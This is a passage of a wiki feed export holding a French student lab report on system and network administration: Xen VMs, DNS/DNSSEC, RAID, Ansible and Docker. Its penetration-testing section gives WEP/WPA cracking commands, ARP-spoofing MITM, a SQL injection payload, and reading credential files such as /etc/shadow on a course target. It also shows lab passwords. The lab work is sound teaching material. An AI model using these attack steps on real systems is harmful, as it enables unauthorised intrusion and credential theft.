Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des containeurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;br /&gt;
&lt;br /&gt;
Puis, on utilise un rôle ansible pour créer un dépôt sur notre machine sur chassiron :&lt;br /&gt;
 - name: Docker registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: registry&lt;br /&gt;
          image: registry&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois le dépôt créé, on peut push notre containeur :&lt;br /&gt;
&lt;br /&gt;
 docker tag webserveur 192.168.42.9:5000/webserveur&lt;br /&gt;
 docker push 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se connecte sur notre VM chassiron et on pull :&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.9:5000/webserveur&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55172</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55172"/>
				<updated>2020-12-22T14:30:44Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Création du conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
